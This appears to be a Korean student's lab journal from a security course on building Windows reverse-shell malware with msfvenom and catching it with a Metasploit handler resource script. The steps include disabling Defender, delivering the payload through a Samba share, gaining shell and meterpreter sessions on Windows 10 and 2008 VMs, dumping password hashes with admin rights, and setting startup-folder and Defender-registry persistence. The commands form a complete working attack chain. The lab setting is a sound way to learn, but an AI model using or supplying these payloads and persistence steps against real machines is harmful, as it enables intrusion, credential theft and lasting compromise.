[2024.06.26]
[Reverse TCP]
01. 악성코드 생성
#msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.10.250 lport=4444 -f exe > /root/win10.exe
#msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.250 lport=4444 -f exe > /root/win10_m.exe
#vi reverse.rc
use exploit/multi/handler
set payload windows/x64/shell/reverse_tcp
set lhost 192.168.10.250
set lport 4444
set exitonsession false
exploit -j -z
> sessions
> sessions -i 1
실습을 진행하기에 앞서 Windows 10 Defender 설정에서
바이러스 및 위협 방지 설정을 모두 다 해제시킨다
Kali linux에서는 위의 명령어를 삽입하게 되면 악성코드가 생성된다
확인 시 win10.exe라는 악성코드가 생겼다
이제 etc 디렉토리 안의 samba 디렉토리에 vi smb.conf를 하게 되면
해당 화면이 나오는데 이때 104번 줄의 map to 줄에 주석(#)을 삽입한다
또 위에 있던 걸 복사해서 제일 끝줄에 삽입 후 화면처럼 내용을 수정한다
내용을 수정했다면 악성코드 파일이 있는 곳의 사용자를 test로 지정하고,
비밀번호를 123456으로 설정해 준다
mkdir을 이용해 samba 디렉터리를 하나 만들고 채널모드도 samba로 실행한다
win10.exe의 경우 현재 홈 디렉터리에 있으므로,
samba 디렉터리로 옮겨 준다
samba 디렉터리 안에 있는 파일을 확인해 보면 win10이 존재하게 된다
kali linux에서의 파일 생성 및 준비가 된 상태라면
검색 창에서 \\192.168.10.250의 kali linux를 검색한다
열어 주게 되면 현재 화면처럼 나오게 된다
앞서 설정했던 test와 비밀번호 123456을 입력하면 된다
입력하게 되면 파일 탐색기가 실행되면서 public이 나오고 public 안에 win10이 존재한다
이때 win10을 바탕화면으로 옮겨 놓으면 된다
실행 전에 smbd를 반드시 실행시켜 준 다음 진행해야 된다
다시 Kali linux에서 msfconsole을 실행하고 화면의 명령어들을 입력해 준 다음
Windows 10에서 바탕화면에 옮겨 뒀던 win10.exe를 클릭하고 Kali linux를 돌아오면 대기 상태에 있다
그렇기 때문에 대기 상태일 때 sessions를 입력하고 Id가 몇 번인지 확인한 다음
sessions -i 1번을 입력했을 때 비로소 침투가 가능하다
이번에는 하나씩 명령어들을 입력하기에는 다소 시간이 소요되기 때문에
파일을 만들어서 바로 실행하는 방법을 시도해 보려고 한다
vi reverse.rc라는 파일을 만들고 그 안에 명령어를 모두 적고 저장한다
이번에는 msfconsole을 단독으로 사용하지 않고 옵션 -r을 준 다음 만들었던 reverse.rc를 적는다
그렇게 되면 파일에 적었던 내용들이 차례대로 나오면서 공격이 오길 기다리는 대기 상태가 된다
이번에도 Windows 10의 win.exe를 실행시키게 되면,
Kali linux에서는 해당 화면처럼 실행이 되고 sessions를 확인해 침투할 수 있다
확인 시 Id가 1이기 때문에 sessions -i 1로 하면 공격이 성공한다
Windows 10에 이어 2008 버전에서도 가능한지 테스트를 진행해 본다
방법은 Windows 10과 다른 점이 없기 때문에 쉽게 따라 할 수 있다
test와 비밀번호 123456을 입력
public -> win10 확인 후
바탕화면에 win10.exe를 드래그
위와 같이 msfconsole -r reverse.rc를 실행시켜 놓고 대기 상태를 만든다
그러고 나서 2008에 있는 win10.exe를 클릭만 해 주면 공격이 먹히며,
이때 sessions를 확인할 수 있다
*sessions를 하는 이유는 Id의 변동 사항이 있을 수 있기 때문에 확인해 주는 게 좋다
현재 Windows 2008로 들어왔기 때문에 프롬포트 창 그대로 재현하며 사용도 가능하다
이번 실습은 meterpreter를 진행하기 위해 rever_m.rc라는 또 다른 파일을 생성하고
기존 명령어의 shell 자리에 meterpreter만 수정시켜 저장한다
이 명령어의 경우에도 shell이 아닌 meterpreter로 변경시켜 저장하게 되면 win10_m.exe라는 악성코드가 생성된다
어떤 파일을 받거나 생성했을 때 그 파일이 존재하는지 확인해 주는 건 선택이 아닌 필수
기존의 win10.exe와 동일하게 samba 디렉터리 안에 win10_m.exe까지 이동시킨다
msfconsole 명령어를 실행하고
앞의 방법과 같이 확인되면 win10_m.exe를 바탕화면에 놓는다
대기 상태에 접어들었을 때 Windows 10에서 win10_m.exe를 실행시키면,
이번에는 Type이 shell이 아닌 meterpreter로 확인되고 Id의 경우 1이기 때문에 1로 지정하면 된다
sysinfo를 통해 PC 정보를 확인했을 때 Windows 10이 나오고,
현재 침투된 상태이기 때문에 해당 PC 정보를 확인할 수 있다
Windows 2008에서도 실행이 가능한 걸 확인해 본다
win10_m.exe가 있는 것을 확인
win10_m을 바탕화면으로 이동
대기 상태에서 sessions를 이용해 Id를 확인한다
위와 다르게 이번에는 Id가 2로 부여되었기 때문에 꼭 확인해야 되는 부분이다
sessions -i 2로 시도 후 sysinfo를 했을 때 이번에는 Windows 2008의 정보가 나타난다
생성과 침투의 테스트는 뒤로 하고,
이번에는 권한에 대한 것을 시도해 본다
현재 상태에서는 hashdump를 시도했을 때 실행되지 않는다
그럴 때는 Windows 10으로 넘어가서
win10_m.exe 속성 -> 호환성 -> 관리자 권한으로 이 프로그램 실행 체크
체크하게 되면 win10_m.exe에 방패 모양이 생기게 된다
설정을 마치고 Kali linux에서 hashdump를 재시도하면 진행되는 걸 확인할 수 있다
오늘의 마지막 실습으로는 레지스트리를 이용해 PC를 껐다 켜기만 해도 침투가 가능한 환경을 설정해 주는 것이다
레지스트리를 실행시키면 해당 화면이 나타나는데,
왼쪽에서 Policies -> Microsoft -> Windows Defender를 찾아 클릭한다
그 후 새 폴더 만들기를 이용하여 32bit를 생성하고
값 데이터에 1을 넣고 확인만 눌러 준다
그 다음 윈도우 + R키를 눌러 shell:startup을 입력 후 눌러 주게 되면
win10_m.exe가 있는 곳으로 바로 실행된다
이제 Kali linux에서는 대기 상태를 만들어 두고 Windows 10에서는 리부팅을 시도
다른 설정을 하지 않아도 리부팅이 진행되자마자 대기 상태에서 공격이 되는 화면이다
sessions를 이용해 Id 확인 후 meterpreter를 사용할 수 있게 되고,
sysinfo로 확인한 PC 정보의 경우에도 Windows 10이다
강의 소감
오늘은 악성코드 생성과 생성된 악성코드 파일로 침투까지 하는 실습을 진행했다
보안에서는 아무것도 모르던 내가 악성코드도 생성하고 나날이 성공하는 뿌듯함에 만족스럽다
그래도 앞으로의 날들은 더 쉽지 않을 거라 예상하고 반복 연습도 많이 해야겠다